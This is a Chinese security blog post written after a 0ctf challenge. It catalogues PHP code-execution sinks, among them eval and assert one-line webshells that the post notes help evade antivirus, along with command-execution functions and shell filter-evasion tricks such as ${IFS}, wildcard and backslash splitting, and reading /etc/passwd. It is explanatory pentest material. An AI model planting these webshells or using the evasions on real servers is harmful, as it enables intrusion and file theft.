N0rth3ty's Blog.

PHP disable_functions Bypass(0x00)

字数统计: 878阅读时长: 4 min
2019/04/02 Share

0ctf中做了一道disable_functions Bypass的题目
顺带总结一下命令执行的各种姿势

前言

首先要明白代码执行和命令执行的区别
代码执行仅仅执行的是PHP代码或者一些其它代码,命令执行是执行了操作系统的命令
而一般各种语言都提供了执行系统命令的函数,比如PHP中的system()函数
但是我们实战中经常会遇到的是,已经获取了webshell,但是因为system等危险函数被列入了disable_functions中,我们没办法去执行系统命令
本文就disable_functions的绕过姿势作一个简单总结

PHP代码执行相关

${}

1
2
3
<?php
${phpinfo()};
?>

eval()

1
<?php eval($_POST['a'])?>

assert()

1
2
//?a=phpinfo()
<?php assert($_POST['a'])?>

支持动态调用

1
2
3
4
5
//?a=phpinfo()
<?php
$a = 'assert';
$a($_POST['a']);
?>

常用于构造免杀
在php7.0.29之后的版本不支持动态调用

1
2
3
4
<?php
$a = 'assert';
$a(phpinfo());
?>

但是这个同样能执行成功

preg_replace()

preg_replace 执行一个正则表达式的搜索和替换
执行代码需要使用/e修饰符。如果不使用/e修饰符,代码则不会执行

1
2
3
4
<?php
$a = 'phpinfo()';
$b = preg_replace("/abc/e",$a,'abcd');
?>

create_function()

create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令

1
2
3
4
5
<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

array_map()

1
2
3
4
5
//?a=assert&b=phpinfo();
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);

array_filter()

1
2
$array[0] = $_GET['a'];
array_filter($array,'assert');

call_user_func()/call_user_func_array ()

一个是接收参数,一个是接收数组

1
2
3
4
5
6
// ?a=phpinfo();
call_user_func(assert,$_GET['a']);


$array[0] = $_GET['a'];
call_user_func_array("assert",$array);

array_filter()

1
2
$array[0] = $_GET['a'];
array_filter($array,'assert');

usort()/uasort()

usort() 通过用户自定义的比较函数对数组进行排序
uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

1
2
3
4
5
6
7
8
//php环境>=5.6才能用
<?php usort(...$_GET);?>

//?1[]=test&1[]=phpinfo();&2=assert

//php环境<=5.6才能用
//?1=1+1&2=phpinfo();
usort($_GET,'asse'.'rt');

命令执行函数

  • system()
  • passthru()
  • exec()
  • shell_exec()
  • `(反单引号)
  • pcntl_exec()
1
void pcntl_exec ( string $path [, array $args [, array $envs ]] )

path是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本
args是一个要传递给程序的参数的字符串数组

1
2
3
<?php
pcntl_exec ( "/bin/bash" , array("whoami"));
?>
  • ob_start()
1
2
3
4
5
6
7
<?php
$cmd = 'system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();
?>
//?a=whoami
  • popen()
1
2
3
<?php
$handle = popen("/bin/ls", "r");
?>
  • proc_open()

    命令执行中的一些bypass

    空格绕过

    1
    2
    3
    ${IFS}
    $IFS$9
    %09

敏感字符绕过

  • 变量拼接

直接拼接

1
/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd

变量拼接

1
2
a=echo
$a 'sssss'

  • 通配符
1
2
3
4
5
ls -l
使用通配符
/?in/?s -l
读取/etc/passwd:
/?in/cat /?tc/p?sswd
  • base64编码
1
`echo 'Y2F0Cg==' | base64 -d` 1.txt

一般base64配$IFS$9基本都能过了

  • 反斜杠
1
2
反斜杆
/b\i\n/w\h\i\c\h n\c
  • 未初始化的变量
1
2
未初始化的变量都是null  
cat$a /etc$a/passwd$a

下一篇具体讲disab_functions bupass

CATALOG
  1. 1. 前言
  2. 2. PHP代码执行相关
    1. 2.1. ${}
    2. 2.2. eval()
    3. 2.3. assert()
    4. 2.4. preg_replace()
    5. 2.5. create_function()
    6. 2.6. array_map()
    7. 2.7. array_filter()
    8. 2.8. call_user_func()/call_user_func_array ()
    9. 2.9. array_filter()
    10. 2.10. usort()/uasort()
  3. 3. 命令执行函数
  4. 4. 命令执行中的一些bypass
    1. 4.1. 空格绕过
    2. 4.2. 敏感字符绕过